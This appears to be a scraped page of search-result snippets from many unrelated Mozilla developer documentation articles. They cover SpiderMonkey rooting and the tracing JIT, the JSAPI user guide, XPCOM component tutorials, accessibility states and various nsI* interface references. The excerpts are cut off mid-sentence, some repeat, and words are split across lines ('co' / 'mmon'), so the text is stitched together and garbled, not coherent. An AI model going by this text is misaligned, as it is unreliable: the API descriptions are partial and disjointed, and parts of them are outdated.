he gc. instead, every pointer on the cstack should be considered part of the rootset. to that end, we have a special "rooting" mechanism for stack pointers that is very efficiently able to add and remove gcpointers to the rootedset. the downside of this efficiency is that gcpointers must be added to and removed from this rootedset tracking structure in lifo order. for this reason it is highly reco
mmended that this rooting mechanism only be used on the cstack. js::rooted<t> typedef js::rooted<t> rootedt; -> rootedobject, rootedstring, rootedscript, etc. because of the lifo restriction, using this interface manually is extremely cumbersome. instead, spidermonkey has a convenient suite of c++ raii classes to do this for you, called js::rootedt: rootedstring str1(cx, js_valuetostring(cx, va...
... initialize with constructor syntax. sorry. note 2: in c++, destructors are required to run in declaration order, nicely maintaining our lifo property. however, this does not hold true for temporaries: they are undeclared, after all. some compilers maintain lifo order, some do not. incorrect use of js::rootedt as a temporary will crash at run time. there is also a static constructor method fro
mmarkedlocation() that creates a handle from an arbitrary location. this is used to make handles for things like scope chain objects, which aren't explicitly rooted themselves, but are always reachable from the implicit stack roots. every use of these should be co
mmented to explain why they are guaranteed to be rooted. js::handle<t> typedef js::handle<t> js::handlet; -> handleobject, handlestring,...
...ere return values are not rooted properly before the next js-api call. js::nullptr null (or nullptr) does not implicitly convert to a js::handlet. for places where you want to pass a null value into a function taking a js::handlet, you can construct and pass a new nullptr instance. you are free to use these as temporaries. rootedobject obj(cx, js_newobject(cx, clasp, nullptr(), nullptr()); co
mmon pitfalls the c++ type system allows us to eliminate the possibility of most co
mmon errors; however, there are still a few things that you can get wrong that the compiler cannot help you with. there is basically never a good reason to do any of these. if you think you do need to do one of these, ask on one of spidermonkey's support forums: maybe we've already solved your problem using a differe...
Tracing JIT
ntaining the assembler's high speed and small size. in the spidermonkey tracing jit there is only ever one assembler active at a time, associated with the currently active fragmento. nanojit/regalloc.* nanojit's register allocator. this is a local register allocator, meaning that it does not allocate registers across basic blocks. it is correspondingly very simple: register allocation is done i
mmediately, step-by-step as code is being generated. a running tally is kept of assignments between registers and lir operands, and any time a new lir operand is required in a register a new one is assigned from the list of free registers. when all registers are in use, the least-often-used register currently in use is spilled. nanojit/native*.* the files nativei386.h, nativei386.cpp, nativearm.h,...
... the recorder completes recording at a backward branch back to the initial pc value that triggered recording mode, it is said to have successfully closed the loop. a closed loop is passed through the nanojit assembler and thereby compiled to native machine code. the associated fragment is placed in the monitor's fragment table and the monitor returns to monitoring mode, with a high likelihood of i
mmediately transitioning to executing mode on the next bytecode interpreted. the compiled fragment of code returned to the monitor on successful loop-close is called a trace. if the recorder is asked to record a bytecode that implies a call to a native function elsewhere in spidermonkey -- some helper function written in c -- and that native happens to re-enter the interpreter to interpret yet more...
...ll writes to imported values in the native stack are deferred until trace-exit, as an optimization. if the side exit condition indicates that the trace exited successfully -- simply running out of native code or hitting a branch condition that no native code yet exists to handle -- the monitor will inspect the hit count for the trace-exiting pc. if that pc has itself grown hot, the monitor will i
mmediately transition to recording mode starting with the exiting pc. otherwise it will return to monitoring mode. if the side exit condition indicates that the trace exited unsuccessfully -- due to encountering sufficient memory pressure to trigger a garbage collection, running out of native stack space, expiring a timer or any similar abnormal condition -- the monitor returns to monitoring mode. ...
JSAPI User Guide
dermonkey calls an application callback, the callback must not throw a c++ exception. throwing and catching exceptions we have already seen one example of how to throw an exception from a jsnative function. simply call js_reporterror, with printf-style arguments, and return false. rc = system(cmd); if (rc != 0) { /* throw a javascript exception. */ js_reporterror(cx, "co
mmand failed with exit code %d", rc); return false; } this is very much like the javascript statement throw new error("co
mmand failed with exit code " + rc);. again, note that calling js_reporterror does not cause a c++ exception to be thrown. it only creates a new javascript error object and stores it in the context as the current pending exception. the application must also return fa...
...object prototype will be used. */ obj = js_defineobject(cx, globalobj, "myobject", &my_class, nullptr, jsprop_enumerate); /* * define a bunch of properties with a jspropertyspec array statically * initialized and terminated with a null-name entry. besides its name, * each property has a "tiny" identifier (my_color, e.g.) that can be used * in switch statements (in a co
mmon my_getproperty function, for example). */ enum my_tinyid { my_color, my_height, my_width, my_funny, my_array, my_rdonly }; static jspropertyspec my_props[] = { {"color", my_color, jsprop_enumerate}, {"height", my_height, jsprop_enumerate}, {"width", my_width, jsprop_enumerate}, {"funny", my_funny, jsprop_enumerate}, {"array...
.... for example, the firefox browser has a complex and powerful security model. some javascript code ("chrome") has full access to the system. scripts from web pages ("content") have very limited access. the same origin policy governs a script's access to data and functions from other web pages. the spidermonkey security model is based on the java principals security model. this model provides a co
mmon security interface, but the actual security implementation is up to you. to use spidermonkey's fine-grained security features: decide what security policy you want to enforce. insert a call to js_checkaccess at each point in your application where a security check is necessary. (some security checks are also built into the javascript engine; you must decide what security policy to ...
JS::CompileOptions
de and debugger: "self-hosted" "debugger eval" introductionlineno unsigned line number in the source code which introduces this source code. introductionoffset uint32_t bytecode offset in the code which introduces this source code. hasintroductioninfo bool true if setintroductioninfo is called. description in the most co
mmon use case, a compileoptions instance is allocated on the stack, and holds non-owning references to non-pod option values: strings; principals; objects; and so on. the code declaring the instance guarantees that such option values will outlive the compileoptions itself: objects are otherwise rooted; principals have had their reference counts bumped; strings will not be freed until the compileopti...
...rence counts bumped; strings will not be freed until the compileoptions goes out of scope. in this situation, compileoptions only refers to things others own, so it can be lightweight. in some cases, however, we need to hold compilation options with a non-stack-like lifetime. for example, js::compileoffthread needs to save compilation options where a worker thread can find them, and then return i
mmediately. the worker thread will come along at some later point, and use the options. the compiler itself just needs to be able to access a collection of options; it doesn't care who owns them, or what's keeping them alive. it does its own addrefs/copies/tracing/etc. so, we have a class hierarchy that reflects these three use cases: readonlycompileoptions is the co
mmon base class. it can be u...
...lds non-owning references to the filename, element, and so on. it's derived from readonlycompileoptions, so the compiler can use it. owningcompileoptions roots / copies / reference counts of all its values, and unroots / frees / releases them when it is destructed. it too is derived from readonlycompileoptions, so the compiler accepts it. readonlycompileoptions readonlycompileoptions is the co
mmon base class for the compileoptions hierarchy. use this in code that only needs to access compilation options created elsewhere, like the compiler. don't instantiate this class (the constructor is protected anyway); instead, create instances only of the derived classes: compileoptions and owningcompileoptions. owningcompileoptions owningcompileoptions is the compilation options, with dynamic l...
JS_SetOptions
warn on dubious practice. mxr id search for jsoption_extra_warnings jsoption_werror convert warnings to errors. mxr id search for jsoption_werror jsoption_varobjfix make js_evaluatescript() use the last object on its obj param's scope chain (that is, the global object) as the ecma "variables object". this flag is reco
mmended. without it, the two scripts "x = 1" and "var x = 1", where no variable x is in scope, do two different things. the former creates a property on the global object. the latter creates a property on obj. with this flag, both create a global property. mxr id search for jsoption_varobjfix jsoption_private_is_nsisupports mozilla extension. the context's priva...
...nce optimization). mxr id search for jsoption_compile_n_go jsoption_atline //@line number ["filename"] option supported for the xul preprocessor and kindred beasts. mxr id search for jsoption_atline jsoption_xml obsolete since jsapi 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the co
mment-hiding hack used in html script tags. mxr id search for jsoption_xml jsoption_allow_xml added in spidermonkey 15 if this is off, e4x syntax isn't supported no matter what version number is set. mxr id search for jsoption_allow_xml jsoption_moar_xml added in spidermonkey 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backwar...
...html script tags. mxr id search for jsoption_xml jsoption_allow_xml added in spidermonkey 15 if this is off, e4x syntax isn't supported no matter what version number is set. mxr id search for jsoption_allow_xml jsoption_moar_xml added in spidermonkey 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the co
mment-hiding hack used in html script tags. only used if jsoption_allow_xml is set. mxr id search for jsoption_moar_xml jsoption_native_branch_callback the branch callback set by js_setbranchcallback may be called with a null script parameter, by native code that loops intensively. mxr id search for jsoption_native_branch_callback jsoption_dont_r...
Setting up CDT to work on SpiderMonkey
hole mozilla codebase. hence, here is a short-ish guide for doing just that. step 1 - preparing a spidermonkey build for cdt to index all code, spidermonkey has to be built with debug information. the full process of and requisites for doing so are described here. please follow those instructions up until the point of invoking configure. the initial build was in clang, so the modified build co
mmands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list. due to a bug in cdt, you have to make a small change to cdt's build conf...
... to let cdt know about the build, it has to invoke make itself (or, as is done in the guide for the whole mozilla codebase on mdn, read a log of the build), which can be setup with these simple steps: open the project's properties by selecting its root and clicking "properties" in the "file" menu and select "c/c++ build". under the "builder settings" group tab, deactivate "use default build co
mmand". instead, change "build co
mmand" to read make -w (this is required because cdt needs detailed information about which directories make operates on, which using -w causes make to provide). change the "build location" to the build directory configured in step 1. for me, that means changing "build directory" to read ${workspace_loc:/spidermonkey/_dbg.obj}. under "behavior", make sure that "en...
...rallel build" is deactivated, as cdt’s indexer will freak out otherwise. remove "all" from "build (incremental build)". deactivate "clean" so that your builds do not take ages. if you want to use ccache: select "c/c++ general", then "preprocessor include patterns". under the "providers" group tab, select "cdt gcc build output parser" and add the string |(ccache) to the end of the "compiler co
mmand pattern" text input. start the build by selecting "build all" from the "project" menu. start the indexer by either: selecting "index > rebuild" from the project's context menu located in the project explorer window, or selecting "c/c++ index > rebuild" from the "project" menu. and that is pretty much it: large parts of spidermonkey should now be indexed. unfortunately, there ...
WebReplayRoadmap
tures.log-points preference. set a breakpoint and right click on it to change it to a log point. in a non-recording tab this will update the console whenever the log point's location executes in the future. in a recording tab, however, this will update the console with messages for every time the location has ever been hit. this requires scanning the recording and the console will not update i
mmediately. these messages will show up on the timeline and can be seeked to in the same way as other console messages. dom/css integration (partially implemented) when paused, the inspector panel can be used to inspect the dom and css state of the page. new features are possible with time travel, though, which would be nice to support: supporting the debugger's event breakpoints would allow ...
... can be seeked to in the debugger for investigation. memory analysis (not yet implemented) analyzing memory usage and leaks in js can be difficult because there is no (or limited) information about where objects were allocated or how the object graph was constructed. recordings can be manually analyzed to determine this information, but it would be nice to automate this process and provide a su
mmary of the allocation sites and places where objects are linked together that end up entraining the most amount of memory later on. platform improvements this section describes improvements to web replay's underlying platform which could make it more broadly useful for developers. support more web features (not yet implemented) several web features are not supported when recording/replaying. ...
... dynamic analyses are easier to run in the cloud, allowing a high level of parallelism without impacting users. the cloud should not be the only option by which people can use web replay, however. all features should be accessible to users operating locally. while cloud integration is not in placer, web replay's architecture has recently been redesigned in preparation for cloud support, and co
mmunicating with replaying processes over a network connection instead of ipc should work pretty efficiently. recording firefox ui (partially implemented) right now only content tabs can be recorded and replayed. firefox's ui and privileged code is largely written in js, and it would be nice to be able to use web replay to help debug and develop firefox itself, for better dogfooding and gathering...
Using RAII classes in Mozilla
raii classes are useful when two operations (e.g., lock/unlock, addref/release, pushstate/popstate) must be paired. ensuring raii classes are not used as temporaries a co
mmon mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different from what is intended. for example, instead of writing: autolock lock(
mmutex); which causes the lock to be held until the end of the block, one might write: autolock(
mmutex); which erroneously causes the lock to be released at the end of the statement. we have two techniques for avoiding this problem: static analysis and runtime assertions. static analysis static analysis passes are run on our testing infrastructure using our clang plugin, you can also run them locally marking a raii cla...
...tter at catching bugs in code that a developer is currently working on than static analysis, which he might not think to run. we have a set of macros that will cause a class to assert when it is instantiated at a temporary. they cause no extra complexity for users of the class, but they do slightly complicate the implementation of the class. these macros are provided in guardobjects.h. ...
...oz_decl_use_guard_object_notifier is added where private members should be declared. however, there are some variations for special cases: first, if the constructor (otherwise) takes no arguments, then you have to use the moz_guard_object_notifier_only_param macro instead. ...
Gecko states
n "owned" not "contained" by parent state_checkable indicates scrolling or moving text or graphics. state_animated the object's appearance changes rapidly or constantly. graphics that are occasionally animated are described as role_graphic with the state property set to state_animated. this state is used to indicate that the object's location is changing. state_invisible the object is progra
mmatically hidden. for example, menu itmes are progra
mmatically hidden until a user activates the menu. because objects with this state are not available to users, client applications should not co
mmunicate information about the object to users. however, if client applications find an object with this state, they should check to see if state_offscreen is also set. if this second state is defined, th...
... state_offscreen scrolled off state_sizeable the object can be resized. ...
... state_offscreen scrolled off state_sizeable the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable indicates that the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a new location. ...
AT APIs Support
o - web browser for os x xul applications xul applications make full use of the gecko architecture, not only for html content, but also for the entire user interface. widgets such as menus, tab panels, tree views and dialogs are provided via an xml language called xul (extensible user-interface language). none of the user interface contains standard os controls. this is done to ensure a co
mmon look and feel across all supported platforms, and to allow for different skins (appearances). developing a xul window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets. examples of xul applications: firefox - web-browser thunderbird - email client seamonkey - web-browser, advanced e-m...
...d firefox extension. supported at apis at apis terms microsoft active accessibility (msaa) an api devised by microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. if you seriously need to understand msaa, you'll need to read the docs on msdn and play with the sample apps and code that come with msaa sdk 1.3. (i reco
mmend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools. the other differences are not important). iaccessible2 (ia2) iaccessible2 is a new accessibility api which complements microsoft's earlier work on msaa. this api fills critical accessibility api gaps in the msaa offering. assistive technology service provider interface (at-spi) an api devised by sun mi...
...a. keyboard user interface and api fortunately, gecko uses the standard keyboard api's for each supported platform. the mozilla keyboard shortcuts for content are similar to what is used in other browsers. here is a list of firefox keyboard shortcuts. test tools here you will find a list of tools to test accessibility gecko-based applications. msaa msaa sdk tools - version 1.3 is reco
mmended instead of 2.0 because it includes source code for the tools iaccessible2 accessibility probe -- includes msaa support as well atk/at-spi accerciser - interactive python accessibility explorer for the gnome desktop gecko dom inspector has an ability to test gecko accessibility layer, supports base features. firebug screen readers here's a list o...
Feed content access API
doc.write("</body></html>"); ...
... doc.write("</body></html>"); doc.close(); } } the handleresu...
...t its text property to fetch the feed's title as html-encoded text. we could, alternatively, use its plaintext() method to get a copy of the title translated into plain text. we then scan the array of items in the feed by looking at the feed.items nsiarray. this array contains nsifeedentry objects that describe each feed item. we build the contents of the document by looking at the title, link, su
mmary, and content properties for each item. the full url of the link is retrieved using the link's resolve() method. to initialize a fetch of the feed, we simply call fetch(url). this opens a new window containing the feed contents, with each item's title a clickable link that takes you to the article itself. for details on each of the feed access interfaces, visit their respective reference pages.
Retrieving part of the bookmarks tree
e bookmarks toolbar: var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; the placesroot is the root folder in the whole places hierarchy. it contains administrative data as well as user data, and is therefore not reco
mmended for use in querying. configure the query to get a hierarchical bookmarks result, pass the folder id to setfolders in your query object: query.setfolders([toolbarfolder], 1); run the query the executequery and executequeries functions will return an nsinavhistoryresult object containing the results of your query: var result = historyservice.executequery(query, options); get the results when...
... the children. as long as the container is open, it will listen for notifications from the bookmarks system to keep itself up-to-date. when you're done, be sure to close the container to free up the resources. otherwise, it will continue to get observer notifications and update itself, slowing down the whole browser. var rootnode = result.root; rootnode.containeropen = true; // iterate over the i
mmediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it! rootnode.containeropen = false; if you encounter a node with a type of result_type_folder or another type of container, you can open these folders and descend into the hierarchy. you wi...
...rootnode.containeropen = false; ...
Aggregating the In-Memory Datasource
rdfinmemorydatasourcecid, this, /* the "outer" */ nscomtypeinfo<nsisupports>::getiid(), getter_addrefs(minner)); note passing this as the "outer" parameter. now, if the in-memory datasource's implementation of queryinterface() fails because it doesn't support the requested interface, it willforward the query interface to its "outer" (which is "us"). ...
... nscomtypeinfo<nsisupports>::getiid(), getter_addrefs(minner)); note passing this as the "outer" parameter. now, if the in-memory datasource's implementation of queryinterface() fails because it doesn't support the requested interface, it willforward the query interface to its "outer" (which is "us"). this preserves the sy
mmetrical property of queryinterface(). ...
...d hold a circular reference that would never unwind. notes describing all of the vagaries of xpcom aggregation is beyond the scope of this document. the basic idea is to overload queryinterface(), allowing it to return adelegate object that supports the interface. there is some trickery involved on the delegate's part to ensure that reference counting is done sanely, and that the reflexive, sy
mmetric, and transitive properties of queryinterface() are preserved. if you're really interested, i'd reco
mmend reading about it in a com book. for more information on writing a datasource, see the rdf datasource how-to document. you could also forward other interfaces to the minner that youknow it can support; however, this is extremely risky. it's risky because another implementation of the sam...
Building the WebLock UI
ts you view the white list or edit it as a list. in this part of the tutorial, however, we only provide the means of adding an url provided as a string (which is not checked for validity) and passing it through to the addsite api we defined in the earlier part of the tutorial. <separator class="thin"/> <hbox align="center"> <textbox id="url.input" flex="1"/> <button label="add this url" onco
mmand="addthissite();"/> </hbox> this snippet introduces a couple of new general layout widgets in xul. the separator that appears at the top of this snippet creates a little divider between widgets like the kind you see in menus that divide sets of functionality available there. the parent of the textbox that users enter an url into is something called an <hbox/>, which is a layout widget - often...
...ager" style="width: 30em;" persist="screenx screeny" screenx="24" screeny="24"> <script src="chrome://weblock/content/weblock.js"/> <hbox> <separator orient="vertical" class="thin"/> <vbox flex="1"> <separator class="thin"/> <hbox align="center"> <textbox id="dialog.input" flex="1"/> <button label="add this url" onco
mmand="addthissite();"/> </hbox> <hbox align="center"> <radiogroup onchange="togglelock();"> <radio label="lock"/> <radio label="unlock"/> </radiogroup> <spacer flex="1"/> </hbox> </vbox> </hbox> </dialog> overlaying new user interface into mozilla you've got a dialog that will interact with the weblock component, but how do you...
...in overlays the ordinarily unique id attributes that xul elements use to distinguish themselves are purposely made redundant with ui in the existing browser with which they should be merged. in this case, the weblock <statusbarpanel/> ...
Component Internals
usses components from the perspective of the software developer. read on to see how components are generally implemented in xpcom, or you can skip to the next chapter, where the weblock component tutorial takes you step by step through the component creation process. xxx mediawiki...xxx sucks creating components in c++ let's start by examining how xpcom components are written in c++. the most co
mmon type of component is one that is written in c++ and compiled into a shared library (a dll on a windows system or a dso on unix). the illustration below shows the basic relationship between the shared library containing the component implementation code you write and the xpcom framework itself. in this diagram, the outer boundary is that of the module, the shared library in which a component is...
...gistration? in a nutshell, registration is the process that makes xpcom aware of your component(s). as this section and the next describe, you can register your component explicitly during installation, or with the regxpcom program, or you can use the autoregistration methods in the service manager to find and register components in a specified components directory: xpinstall apis regxpcom co
mmand-line tool nsicomponentregistrar apis from service manager the registration process is fairly involved. this section introduces it in terms of xpcom initialization, and the next chapter describes what you have to do in your component code to register your component with xpcom. once the manifest files are read in, xpcom checks to see if there are any components that need to be registered. t...
...pen environment. at runtime you can acquire any service or component by merely knowing a cid or contract id along with an iid. at last count there were over 1300 interfaces defined in xpidl. of those 1300 interfaces, less than 100 were frozen, which means that a developer is likely to stumble upon useful interfaces that aren't frozen. unless an interface is explicitly marked "frozen" in the idl co
mments, your component may possibly break or crash along with a version change. the glue library in general, you should avoid any interfaces, symbols in xpcom, or other part of gecko libraries that aren't frozen. however, there are some unfrozen tools in xpcom that are used so often they are practically required parts of component progra
mming. the smart pointer class, nscomptr, for example, which...
Preface
gecko, which is xpcom. who should read this book no one. it is badly out of date, and much of what it says is either no longer remotely accurate, or is severely deprecated. if you are a historian, though... creating xpcom components is meant for c++ developers. though you can create xpcom components in javascript and other languages, and though you might be able to follow along as a c progra
mmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++. you don't need to be a c++ expert, however. although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. also many of the examples are in javascript, which is u...
...seful) addition to the browser. in order to build it, your gecko sdk or mozilla source tree needs to be version 1.2 or later (xpcom interfaces were not fully frozen in prior releases). this book assumes you are using the sdk rather than compiling in a mozilla source tree, though the difference between these two approaches is minimal. details about downloading the sdk, building, and getting progra
mmatic access to gecko components are provided in the appendix to this book, setting up the gecko sdk. conventions the formatting conventions listed below are used to designate specific types of information in the book and make things easier to scan. the goal is to use as few formats as possible, but to distinguish the various different types of information clearly. format description...
...ce code listings, interface names and members of interfaces (e.g., createinstance()) appear in monospaced font. lines of code are placed in separate boxes. additionally, filenames and directories appear in monospaced font. italic variables appear in italic. important terms and new concepts are also italicized the first time they appear in the text. those terms are either explained i
mmediately after they are cited, or else the reader is referred to a section in the book where they are described in detail. link references to other sections and to figures and tables are links to those sections. acknowledgements thanks to peter lubczynski, john gaunt, ellen evans, and alec flett for technical reviews. a special thanks goes to darin fisher for his very acute obs...
XPCOM guide
these articles provide tutorials and usage documentation for xpcom, including how to use it in your own projects and how to build xpcom components for your firefox add-ons and the like. avoiding leaks in javascript xpcom componentsprogra
mmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks. ...
...how to build xpcom components for your firefox add-ons and the like. avoiding leaks in javascript xpcom componentsprogra
mmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks. ...
...that's not inherently multiple inheritance, though, because you only mix in interfaces (i.e. the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most activities such as ...
Components.Constructor
syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components. ...
...enefit is also partly a result of having to travel through the layer between the javascript engine and xpcom fewer times.) the behavior of functions returned by components.constructor() varies depending upon the arguments given to components.constructor() when called. if only one argument is given, that argument is the contract id of the xpcom component to create. the component is then returned i
mmediately, with only the base interface nsisupports available on it; you must call nsisupports.queryinterface() on it to call methods on the object. for example: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsisupports]" try { // someinputstream is an existing nsiinputstream ...
...it is equivalent to the following javascript function: function components_constructor(contractid, interfacename, initializer) { var ccargs = arguments; function ctor() { var instance = components.classes[contractid] .createinstance(components.interfaces.nsisupports); if (ccargs.length > 1) { instance.queryinterface(components.int...
mozIStorageService
ional the directory to put the backup into. if this is not specified, the backup is placed in the same directory as the original file. return value an nsifile object representing the newly-created backup file. opendatabase() opens a database connection to the specified file. the specified file is created if it does not already exist. ...
...and then the database can be opened again with the mozistorageservice.opendatabase() method. ...
... the type of storage requested. valid values are "profile" and "memory". return value a new mozistorageconnection providing access to the requested database. exceptions thrown ns_error_invalid_arg if astoragekey is invalid. openunshareddatabase() opens a database connection to the specified file without using a shared cache. if this method throws ns_error_file_corrupted, it's reco
mmended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet). each connection uses its own sqlite cache, which is inefficient, so you should use opendatabase() instead of this method unless you need a feature of sqlite that is incompatible with a shared cache, like virtual table and full text...
nsIAppStartup
tant value description econsiderquit 0x01 attempt to quit if all windows are closed. eattemptquit 0x02 try to close all windows, then quit if successful. eforcequit 0x03 force all windows to close, then quit. erestart 0x10 restart the application after quitting. the application will be restarted with the same profile and an empty co
mmand line. erestartnotsameprofile 0x100 restart the application after quitting. the application will be restarted with an empty co
mmand line and the normal profile selection process will take place on startup. methods createhiddenwindow() create the hidden window. void createhiddenwindow(); parameters none. createstartupstate() obsolete since gecko 1.9.
...act if false and ui is needed, will fail. ensure1window() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) ensures that at least one window exists after creating the startup state. if one has not been made, this will create a browser window. void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the co
mmand line from which startup args can be read. enterlastwindowclosingsurvivalarea() serves for situations when all application windows will be closed but we don't want to take this as a signal to quit the application. bracket the code where the last window could close with these. void enterlastwindowclosingsurvivalarea(); parameters none. exitlastwindowclosingsurvivalarea() this method ser...
...nsafemode() restart the application in safe mode. void quit( in pruint32 aquitmode ); parameters aquitmode this parameter modifies how the app is shutdown. run() runs an application event loop: normally the main event pump which defines the lifetime of the application. if there are no windows open and no outstanding calls to enterlastwindowclosingsurvivalarea() this method will exit i
mmediately. void run(); parameters none. return value returns ns_success_restart_app code. this return code indicates that the application should be restarted because quit was called with the erestart flag. see also nsicmdlineservice nsiappstartup_mozilla_2_0 ...
nsIAutoCompleteItem
param nsisupports parameter use by the search engine. ...
... param nsisupports parameter use by the search engine. ...
... param nsisupports parameter use by the search engine. ...
nsIClassInfo
be accessed as a service using nsiservicemanager.getservicebycontractid(). read only. flags pruint32 specifies various binary properties of this class. possible values for this attribute include a bit-wise combination of the constants read only. implementationlanguage obsolete since gecko 40 pruint32 the language type in which this class is implemented. see nsiprogra
mminglanguage.constants for a list of possible values. read only. constants bitflags for 'flags' attribute. constant value description singleton 1 << 0 the class is a singleton that must be accessed via nsiservicemanager. threadsafe 1 << 1 the class may be accessed by any thread. main_thread_only 1 << 2 the class may only be access...
...use with nsgenericfactory and can be set in nsmodulecomponentinfo::mflags. it has no meaning when returned from the flags attribute of a nsiclassinfo implementation. obsolete since gecko 2.0 methods gethelperforlanguage() get a language mapping specific helper object that may assist in using objects of this class in a specific lanaguage. for example, if asked for the helper for nsiprogra
mminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object. nsisupports gethelperforlanguage( in pruint32 language ); parameters language this parameter selects the language mapping specific helper object to be returned. ns...
...uage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object. nsisupports gethelperforlanguage( in pruint32 language ); parameters language this parameter selects the language mapping specific helper object to be returned. nsiprogra
mminglanguage defines language identifiers that may be passed for this parameter. return value should return null if no helper available for given language. getinterfaces() this method returns an ordered list of interfaces iids that instances of the class promise to implement. note that nsisupports is an implicit member of the implemented set of interfaces and need not be included. if this me...
nsICompositionStringSynthesizer
ompositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.appendclause("bar".length, compositionstringsynthesizer.attr_selectedconvertedtext); compositionstringsynthesizer.appendclause("-buzz".length, compositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.setcaret("foo-bar".length, 0); compositionstringsynthesizer.dispatchevent(); finally, when you co
mmits composition with the last composition string "foo-bar-buzz": // deprecated in 36, first, dispatch co
mmit string without clause information compositionstringsynthesizer.setstring("foo-bar-buzz"); compositionstringsynthesizer.dispatchevent(); // then, dispatch compositionend with the co
mmit string domwindowutils.sendcompositionevent("compositionend", "foo-bar-buzz", ""); starting gecko 36, y...
...ecated in 36, first, dispatch co
mmit string without clause information compositionstringsynthesizer.setstring("foo-bar-buzz"); compositionstringsynthesizer.dispatchevent(); // then, dispatch compositionend with the co
mmit string domwindowutils.sendcompositionevent("compositionend", "foo-bar-buzz", ""); starting gecko 36, you can do it simpler: domwindowutils.sendcompositionevent("compositionco
mmitasis", "", ""); if you need to co
mmit composition with different co
mmit string gecko 36 or later, you can use "compositionco
mmit": domwindowutils.sendcompositionevent("compositionco
mmit", "foo-bar-buzz", ""); method overview void appendclause(in unsigned long alength, in unsigned long aattribute); boolean dispatchevent(); void setcaret(in unsigned long aoffset, in...
...f appending clause. aattribute the attribute of appending clause. must be one of attr_* constants. dispatchevent() dispatches dom events for setting the composition string which are specified by setstring(), appendclause() and setcaret() to the focused editor. if appendclause() hasn't been called, this dispatches events to set composition string without clause information. in other words, co
mmits composition string. if appendclause() and/or setcaret() are not called properly, e.g., sum of alength of calls of appendclause() is not same as composition string set by setstring(), this throws an exception. after a call of this, all stored composition string information is cleared. therefore, you can reuse the instance for modifying composition string. boolean dispatchevent(); return val...
nsIDBFolderInfo
create an instance, use: implemented by: ????????????????????????????????????? ...
... imaphierarchyseparator wchar imaptotalpendingmessages long imapuidvalidity long imapunreadpendingmessages long knownartsset string locale astring mailboxname astring nu
mmessages long numunreadmessages long sortorder nsmsgviewsortordervalue sorttype nsmsgviewsorttypevalue version unsigned long viewflags nsmsgviewflagstypevalue viewtype nsmsgviewtypevalue methods and...
...ags() long andflags( in long flags ); parameters flags missing description return value missing description exceptions thrown missing exception missing description changeexpungedbytes() void changeexpungedbytes( in long delta ); parameters delta missing description exceptions thrown missing exception missing description changenu
mmessages() void changenu
mmessages( in long delta ); parameters delta missing description exceptions thrown missing exception missing description changenumunreadmessages() void changenumunreadmessages( in long delta ); parameters delta missing description exceptions thrown missing exception missing description getbooleanproperty()...
nsIDOMWindowInternal
gecko 8.0 inherits from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface. this interface no longer has any members; it exists solely to prevent add-ons that reference it from failing completely. add-ons should be updated to use nsidomwindow instead. it provides many of the co
mmon functions used in javascript such as alert() or open(). note: because most of nsidomwindowinternal's functions and attributes are well documented in window, those articles are linked to rather than re-documented. however, they are not guaranteed to document all available arguments (i.e. see window.prompt). method overview firefox 3.5 note the prompt() and find() methods changed in firefo...
...s open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. ...
...mber of pixels that the document can be scrolled vertically. length unsigned long readonly: returns the number of frames in the window. fullscreen boolean whether the window is displayed in full screen mode or not frameelement nsidomelement readonly: the element in which the window is embedded, or null if the window is top-level. url nsido
mmozurlproperty readonly: a dom url object, which provides the window.url.createobjecturl() and window.url.revokeobjecturl() methods. note: prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), this attribute was part of nsidomwindow_2_0_branch. ...
nsIDOMXULElement
dom/interfaces/xul/nsidomxulelement.idlscriptable represents a xul element within the dom. 66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void doco
